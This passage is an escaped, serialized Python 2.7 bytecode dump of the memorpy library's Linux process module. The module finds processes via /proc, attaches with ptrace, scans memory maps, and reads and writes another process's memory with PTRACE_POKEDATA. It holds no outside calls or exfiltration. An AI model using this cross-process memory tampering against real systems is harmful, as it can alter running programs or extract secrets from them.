\\x00k\\\\x03\\\\x00r<\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01|\\\\x00\\\\x00j\\\\x06\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01n\\\\x00\\\\x00d\\\\x00\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x07\\\\x00\\\\x00\\\\x00R$\\\\x00\\\\x00\\\\x00t\\\\r\\\\x00\\\\x00\\\\x00isProcessOpenR6\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00t\\\\r\\\\x00\\\\x00\\\\x00ptrace_attachR7\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR%\\\\x00\\\\x00\\\\x00\\\\x8c\\\\x00\\\\x00\\\\x00s\\\\n\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\n\\\\x01\\\\x12\\\\x02\\\\n\\\\x01c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sf\\\\x00\\\\x00\\\\x00g\\\\x00\\\\x00}\\\\x00\\\\x00xY\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00D]H\\\\x00}\\\\x01\\\\x00y8\\\\x00t\\\\x00\\\\x00j\\\\x02\\\\x00d\\\\x02\\\\x00|\\\\x01\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00}\\\\x02\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00i\\\\x02\\\\x00t\\\\x04\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x03\\\\x006|\\\\x02\\\\x00d\\\\x04\\\\x006\\\\x83\\\\x01\\\\x00\\\\x01Wq\\\\x16\\\\x00\\\\x01\\\\x01\\\\x01q\\\\x16\\\\x00Xq\\\\x16\\\\x00W|\\\\x00\\\\x00S(\\\\x05\\\\x00\\\\x00\\\\x00Ns\\\\x05\\\\x00\\\\x00\\\\x00/procs\\\\x0c\\\\x00\\\\x00\\\\x00/proc/%s/exeR\\\\x1f\\\\x00\\\\x00\\\\x00R\\\\\\'\\\\x00\\\\x00\\\\x00(\\\\x05\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00listdirt\\\\x08\\\\x00\\\\x00\\\\x00readlinkt\\\\x06\\\\x00\\\\x00\\\\x00appendR,\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00processesR\\\\x1f\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00exe(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\\\x04\\\\x00\\\\x00\\\\x00list\\\\x94\\\\x00\\\\x00\\\\x00s\\\\x10\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x06\\\\x01\\\\x16\\\\x01\\\\x03\\\\x01\\\\x13\\\\x01%\\\\x01\\\\x03\\\\x01\\\\x08\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x8d\\\\x00\\\\x00\\\\x00xv\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00D]e\\\\x00}\\\\x01\\\\x00y\\\\x0e\\\\x00t\\\\x02\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01Wn\\\\n\\\\x00\\\\x01\\\\x01\\\\x01q\\\\x10\\\\x00n\\\\x01\\\\x00Xd\\\\x02\\\\x00}\\\\x02\\\\x00t\\\\x03\\\\x00d\\\\x03\\\\x00|\\\\x01\\\\x00\\\\x16d\\\\x04\\\\x00\\\\x83\\\\x02\\\\x00\\\\x8f\\\\x13\\\\x00}\\\\x03\\\\x00|\\\\x03\\\\x00j\\\\x04\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x02\\\\x00Wd\\\\x00\\\\x00QX|\\\\x00\\\\x00|\\\\x02\\\\x00k\\\\x06\\\\x00r\\\\x10\\\\x00t\\\\x02\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00Sq\\\\x10\\\\x00Wt\\\\x05\\\\x00d\\\\x05\\\\x00|\\\\x00\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00d\\\\x00\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00Ns\\\\x05\\\\x00\\\\x00\\\\x00/proct\\\\x00\\\\x00\\\\x00\\\\x00s\\\\x10\\\\x00\\\\x00\\\\x00/proc/%s/cmdlinet\\\\x01\\\\x00\\\\x00\\\\x00rs\\\\x1d\\\\x00\\\\x00\\\\x00No process with such name: %s(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00R<\\\\x00\\\\x00\\\\x00R,\\\\x00\\\\x00\\\\x00R+\\\\x00\\\\x00\\\\x00R-\\\\x00\\\\x00\\\\x00R\\\\n\\\\x00\\\\x00\\\\x00(\\\\x04\\\\x00\\\\x00\\\\x00R\\\\\\'\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00pnameR3\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR \\\\x00\\\\x00\\\\x00\\\\x9f\\\\x00\\\\x00\\\\x00s\\\\x16\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x16\\\\x01\\\\x03\\\\x01\\\\x0e\\\\x01\\\\x03\\\\x01\\\\x07\\\\x01\\\\x06\\\\x01\\\\x16\\\\x01\\\\x12\\\\x01\\\\x0c\\\\x01\\\\x0e\\\\x01c\\\\x02\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xe6\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x01\\\\x00r\\\\x12\\\\x00t\\\\x02\\\\x00n\\\\x03\\\\x00t\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x02\\\\x00t\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x03\\\\x00t\\\\x00\\\\x00j\\\\x06\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x04\\\\x00|\\\\x01\\\\x00sh\\\\x00t\\\\x07\\\\x00j\\\\x08\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00t\\\\t\\\\x00j\\\\n\\\\x00\\\\x83\\\\x02\\\\x00\\\\x01t\\\\x07\\\\x00j\\\\x0b\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x02\\\\x00\\\\x01n\\\\x00\\\\x00t\\\\x0c\\\\x00|\\\\x02\\\\x00|\\\\x03\\\\x00|\\\\x04\\\\x00|\\\\x04\\\\x00\\\\x83\\\\x04\\\\x00}\\\\x05\\\\x00|\\\\x01\\\\x00s\\\\x9c\\\\x00t\\\\x07\\\\x00j\\\\x08\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00t\\\\t\\\\x00j\\\\r\\\\x00\\\\x83\\\\x02\\\\x00\\\\x01n\\\\x00\\\\x00|\\\\x05\\\\x00d\\\\x01\\\\x00k\\\\x03\\\\x00r\\\\xe2\\\\x00t\\\\x0e\\\\x00d\\\\x02\\\\x00|\\\\x01\\\\x00r\\\\xba\\\\x00d\\\\x03\\\\x00n\\\\x03\\\\x00d\\\\x04\\\\x00t\\\\x0f\\\\x00j\\\\x10\\\\x00j\\\\x11\\\\x00t\\\\x00\\\\x00j\\\\x12\\\\x00\\\\x83\\\\x00\\\\x00d\\\\x05\\\\x00\\\\x83\\\\x02\\\\x00f\\\\x02\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00d\\\\x00\\\\x00S(\\\\x06\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00%s: %st\\\\r\\\\x00\\\\x00\\\\x00PTRACE_ATTACHt\\\\r\\\\x00\\\\x00\\\\x00PTRACE_DETACHt\\\\x07\\\\x00\\\\x00\\\\x00UNKNOWN(\\\\x13\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00ctypesR\\\\x02\\\\x00\\\\x00\\\\x00RE\\\\x00\\\\x00\\\\x00RF\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00c_pid_tR\\\\x1f\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00killt\\\\x06\\\\x00\\\\x00\\\\x00signalt\\\\x07\\\\x00\\\\x00\\\\x00SIGSTOPt\\\\x07\\\\x00\\\\x00\\\\x00waitpidt\\\\x08\\\\x00\\\\x00\\\\x00c_ptracet\\\\x07\\\\x00\\\\x00\\\\x00SIGCONTR\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00errorcodet\\\\x03\\\\x00\\\\x00\\\\x00getR\\\\x08\\\\x00\\\\x00\\\\x00(\\\\x06\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00attacht\\\\x02\\\\x00\\\\x00\\\\x00opt\\\\x05\\\\x00\\\\x00\\\\x00c_pidt\\\\x04\\\\x00\\\\x00\\\\x00nullt\\\\x03\\\\x00\\\\x00\\\\x00err(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\\\x07\\\\x00\\\\x00\\\\x00_ptrace\\\\xaf\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x1b\\\\x01\\\\x0f\\\\x01\\\\x0c\\\\x02\\\\x06\\\\x01\\\\x16\\\\x01\\\\x16\\\\x02\\\\x15\\\\x02\\\\x06\\\\x01\\\\x19\\\\x02\\\\x0c\\\\x01\\\\x06\\\\x01\\\\x0f\\\\x01c\\\\x05\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00s\\\\xbe\\\\x01\\\\x00\\\\x00t\\\\x00\\\\x00d\\\\x01\\\\x00t\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00\\\\x17d\\\\x02\\\\x00\\\\x17d\\\\x03\\\\x00\\\\x83\\\\x02\\\\x00\\\\x8f\\\\x98\\\\x01}\\\\x05\\\\x00x\\\\x8e\\\\x01|\\\\x05\\\\x00D]\\\\x86\\\\x01}\\\\x06\\\\x00t\\\\x03\\\\x00j\\\\x04\\\\x00d\\\\x04\\\\x00|\\\\x06\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x07\\\\x00t\\\\x05\\\\x00|\\\\x07\\\\x00j\\\\x06\\\\x00d\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x06\\\\x00\\\\x83\\\\x02\\\\x00t\\\\x05\\\\x00|\\\\x07\\\\x00j\\\\x06\\\\x00d\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x06\\\\x00\\\\x83\\\\x02\\\\x00|\\\\x07\\\\x00j\\\\x06\\\\x00d\\\\x08\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x07\\\\x00j\\\\x06\\\\x00d\\\\t\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x07\\\\x00j\\\\x06\\\\x00d\\\\n\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x05\\\\x00|\\\\x07\\\\x00j\\\\x06\\\\x00d\\\\x0b\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x07\\\\x00j\\\\x06\\\\x00d\\\\x0c\\\\x00\\\\x83\\\\x01\\\\x00f\\\\x07\\\\x00\\\\\\\\\\\\x07\\\\x00}\\\\x08\\\\x00}\\\\t\\\\x00}\\\\n\\\\x00}\\\\x0b\\\\x00}\\\\x0c\\\\x00}\\\\r\\\\x00}\\\\x0e\\\\x00|\\\\x01\\\\x00d\\\\x12\\\\x00k\\\\t\\\\x00r\\\\xea\\\\x00|\\\\x08\\\\x00|\\\\x01\\\\x00k\\\\x00\\\\x00r\\\\xea\\\\x00q*\\\\x00q\\\\xea\\\\x00n\\\\x00\\\\x00|\\\\x02\\\\x00d\\\\x12\\\\x00k\\\\t\\\\x00r\\\\x0b\\\\x01|\\\\x08\\\\x00|\\\\x02\\\\x00k\\\\x04\\\\x00r\\\\x0b\\\\x01q*\\\\x00q\\\\x0b\\\\x01n\\\\x00\\\\x00|\\\\t\\\\x00|\\\\x08\\\\x00\\\\x18}\\\\x0f\\\\x00d\\\\x03\\\\x00|\\\\n\\\\x00k\\\\x06\\\\x00r*\\\\x00|\\\\x04\\\\x00r\\\\xa2\\\\x01d\\\\r\\\\x00|\\\\x04\\\\x00k\\\\x06\\\\x00rE\\\\x01|\\\\r\\\\x00d\\\\x0e\\\\x00k\\\\x03\\\\x00rE\\\\x01q*\\\\x00n\\\\x00\\\\x00d\\\\x0f\\\\x00|\\\\x04\\\\x00k\\\\x06\\\\x00rc\\\\x01d\\\\x0f\\\\x00|\\\\n\\\\x00k\\\\x06\\\\x00rc\\\\x01q*\\\\x00n\\\\x00\\\\x00d\\\\x10\\\\x00|\\\\x04\\\\x00k\\\\x06\\\\x00r\\\\x81\\\\x01d\\\\x10\\\\x00|\\\\n\\\\x00k\\\\x06\\\\x00r\\\\x81\\\\x01q*\\\\x00n\\\\x00\\\\x00d\\\\x03\\\\x00|\\\\x04\\\\x00k\\\\x06\\\\x00r\\\\xa2\\\\x01d\\\\x11\\\\x00|\\\\n\\\\x00k\\\\x07\\\\x00r\\\\xa2\\\\x01q*\\\\x00q\\\\xa2\\\\x01n\\\\x00\\\\x00|\\\\x08\\\\x00|\\\\x0f\\\\x00f\\\\x02\\\\x00V\\\\x01q*\\\\x00q*\\\\x00WWd\\\\x12\\\\x00QXd\\\\x12\\\\x00S(\\\\x13\\\\x00\\\\x00\\\\x00s\\\\xe2\\\\x00\\\\x00\\\\x00\\\\n            optimizations :\\\\n                i for inode==0 (no file mapping)\\\\n                s to avoid scanning shared regions\\\\n                x to avoid scanning x regions\\\\n                r don\\\\\\'t scan ronly regions\\\\n        s\\\\x06\\\\x00\\\\x00\\\\x00/proc/s\\\\x05\\\\x00\\\\x00\\\\x00/mapsRC\\\\x00\\\\x00\\\\x00sl\\\\x00\\\\x00\\\\x00([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\\\\\\\\s+([-rwpsx]+)\\\\\\\\s+([0-9A-Fa-f]+)\\\\\\\\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\\\\\\\\s+([0-9]+)\\\\\\\\s*(.*)i\\\\x01\\\\x00\\\\x00\\\\x00i\\\\x10\\\\x00\\\\x00\\\\x00i\\\\x02\\\\x00\\\\x00\\\\x00i\\\\x03\\\\x00\\\\x00\\\\x00i\\\\x04\\\\x00\\\\x00\\\\x00i\\\\x05\\\\x00\\\\x00\\\\x00i\\\\x06\\\\x00\\\\x00\\\\x00i\\\\x07\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00ii\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00st\\\\x01\\\\x00\\\\x00\\\\x00xt\\\\x01\\\\x00\\\\x00\\\\x00wN(\\\\x08\\\\x00\\\\x00\\\\x00R+\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00strR\\\\x1f\\\\x00\\\\x00\\\\x00t\\\\x02\\\\x00\\\\x00\\\\x00ret\\\\x05\\\\x00\\\\x00\\\\x00matchR,\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00groupR\\\\x1b\\\\x00\\\\x00\\\\x00(\\\\x10\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00start_offsett\\\\n\\\\x00\\\\x00\\\\x00end_offsett\\\\x06\\\\x00\\\\x00\\\\x00protect\\\\r\\\\x00\\\\x00\\\\x00optimizationst\\\\t\\\\x00\\\\x00\\\\x00maps_filet\\\\x04\\\\x00\\\\x00\\\\x00linet\\\\x01\\\\x00\\\\x00\\\\x00mt\\\\x05\\\\x00\\\\x00\\\\x00startt\\\\x03\\\\x00\\\\x00\\\\x00endt\\\\r\\\\x00\\\\x00\\\\x00region_protect\\\\x06\\\\x00\\\\x00\\\\x00offsett\\\\x03\\\\x00\\\\x00\\\\x00devt\\\\x05\\\\x00\\\\x00\\\\x00inodet\\\\x08\\\\x00\\\\x00\\\\x00pathnamet\\\\x05\\\\x00\\\\x00\\\\x00chunk(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\\\x0b\\\\x00\\\\x00\\\\x00iter_region\\\\xc3\\\\x00\\\\x00\\\\x00s,\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08#\\\\x01\\\\r\\\\x01\\\\x12\\\\x01\\\\x87\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\t\\\\x01\\\\n\\\\x01\\\\x0c\\\\x01\\\\x06\\\\x01\\\\x18\\\\x01\\\\x06\\\\x01\\\\x18\\\\x01\\\\x06\\\\x01\\\\x18\\\\x01\\\\x06\\\\x01\\\\x18\\\\x01\\\\t\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s(\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00s$\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00t\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x01\\\\x00t\\\\x02\\\\x00|\\\\x00\\\\x00_\\\\x00\\\\x00n\\\\x00\\\\x00|\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x1e\\\\x00\\\\x00\\\\x00RW\\\\x00\\\\x00\\\\x00R$\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00res(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR;\\\\x00\\\\x00\\\\x00\\\\xe2\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\x0f\\\\x01\\\\x0c\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s(\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00r$\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00t\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x01\\\\x00t\\\\x02\\\\x00|\\\\x00\\\\x00_\\\\x00\\\\x00n\\\\x00\\\\x00|\\\\x01\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x1e\\\\x00\\\\x00\\\\x00RW\\\\x00\\\\x00\\\\x00R\\\\x1d\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00Rp\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR7\\\\x00\\\\x00\\\\x00\\\\xe8\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\x0f\\\\x01\\\\x0c\\\\x01c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x00\\\\x00\\\\x00\\\\x08\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sv\\\\x01\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00s\\\\x16\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01n\\\\x00\\\\x00t\\\\x02\\\\x00|\\\\x00\\\\x00j\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x03\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x04\\\\x00t\\\\x04\\\\x00j\\\\x06\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x05\\\\x00x\"\\\\x01t\\\\x07\\\\x00d\\\\x01\\\\x00t\\\\x08\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x05\\\\x00\\\\x83\\\\x03\\\\x00D]\\\\x08\\\\x01}\\\\x06\\\\x00|\\\\x02\\\\x00|\\\\x06\\\\x00|\\\\x06\\\\x00|\\\\x05\\\\x00\\\\x17!}\\\\x07\\\\x00t\\\\x08\\\\x00|\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x05\\\\x00k\\\\x00\\\\x00r\\\\xc5\\\\x00|\\\\x00\\\\x00j\\\\t\\\\x00t\\\\n\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x06\\\\x00\\\\x17t\\\\x08\\\\x00|\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00\\\\x17d\\\\x02\\\\x00|\\\\x05\\\\x00t\\\\x08\\\\x00|\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00\\\\x18\\\\x83\\\\x01\\\\x01}\\\\x08\\\\x00|\\\\x07\\\\x00|\\\\x08\\\\x007}\\\\x07\\\\x00n\\\\x00\\\\x00t\\\\x0b\\\\x00j\\\\x0c\\\\x00d\\\\x03\\\\x00k\\\\x02\\\\x00r\\\\xea\\\\x00|\\\\x07\\\\x00d\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x04\\\\x00\\\\x85\\\\x03\\\\x00\\\\x19}\\\\x07\\\\x00n\\\\x00\\\\x00d\\\\x01\\\\x00}\\\\t\\\\x00t\\\\r\\\\x00t\\\\x04\\\\x00j\\\\x0e\\\\x00t\\\\x0f\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x03\\\\x00t\\\\n\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x06\\\\x00\\\\x17t\\\\n\\\\x00|\\\\x07\\\\x00j\\\\x10\\\\x00d\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x06\\\\x00\\\\x83\\\\x02\\\\x00\\\\x83\\\\x04\\\\x00}\\\\n\\\\x00|\\\\n\\\\x00d\\\\x01\\\\x00k\\\\x03\\\\x00r\\\\\\\\\\\\x00t\\\\x11\\\\x00j\\\\x12\\\\x00j\\\\x13\\\\x00t\\\\x04\\\\x00j\\\\x14\\\\x00\\\\x83\\\\x00\\\\x00d\\\\x07\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x0b\\\\x00t\\\\x15\\\\x00d\\\\x08\\\\x00|\\\\x0b\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00q\\\\\\\\\\\\x00q\\\\\\\\\\\\x00W|\\\\x00\\\\x00j\\\\x16\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01t\\\\x17\\\\x00S(\\\\t\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00bytest\\\\x06\\\\x00\\\\x00\\\\x00littlei\\\\xff\\\\xff\\\\xff\\\\xfft\\\\x03\\\\x00\\\\x00\\\\x00hexi\\\\x10\\\\x00\\\\x00\\\\x00RG\\\\x00\\\\x00\\\\x00s\\\\x1f\\\\x00\\\\x00\\\\x00Error using PTRACE_POKEDATA: %s(\\\\x18\\\\x00\\\\x00\\\\x00R\\\\x1e\\\\x00\\\\x00\\\\x00R;\\\\x00\\\\x00\\\\x00RI\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00RH\\\\x00\\\\x00\\\\x00R\\\\x03\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00sizeoft\\\\x05\\\\x00\\\\x00\\\\x00ranget\\\\x03\\\\x00\\\\x00\\\\x00lent\\\\n\\\\x00\\\\x00\\\\x00read_bytesR,\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00syst\\\\t\\\\x00\\\\x00\\\\x00byteorderRN\\\\x00\\\\x00\\\\x00R\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x0f\\\\x00\\\\x00\\\\x00PTRACE_POKEDATAt\\\\x06\\\\x00\\\\x00\\\\x00encodeR\\\\x0e\\\\x00\\\\x00\\\\x00RP\\\\x00\\\\x00\\\\x00RQ\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00R7\\\\x00\\\\x00\\\\x00R$\\\\x00\\\\x00\\\\x00(\\\\x0c\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00addresst\\\\x04\\\\x00\\\\x00\\\\x00dataRT\\\\x00\\\\x00\\\\x00RU\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00word_sizeRX\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00wordt\\\\r\\\\x00\\\\x00\\\\x00existing_datat\\\\x07\\\\x00\\\\x00\\\\x00attemptRV\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00error(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\\\x0b\\\\x00\\\\x00\\\\x00write_bytes\\\\xee\\\\x00\\\\x00\\\\x00s&\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\r\\\\x02\\\\x0f\\\\x01\\\\x0c\\\\x04\\\\x12\\\\x02\\\\x1f\\\\x01\\\\x11\\\\x01\\\\x12\\\\x013\\\\x01\\\\r\\\\x01\\\\x0f\\\\x01\\\\x16\\\\x02\\\\x06\\\\x01:\\\\x01\\\\x0c\\\\x01\\\\x1b\\\\x01\\\\x17\\\\x02\\\\n\\\\x01i\\\\x04\\\\x00\\\\x00\\\\x00c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x08\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s@\\\\x01\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00r\\\\x16\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01n\\\\x00\\\\x00d\\\\x01\\\\x00}\\\\x03\\\\x00t\\\\x02\\\\x00\\\\x0cs5\\\\x00t\\\\x03\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00d\\\\t\\\\x00k\\\\x00\\\\x00r\\\\x80\\\\x00t\\\\x04\\\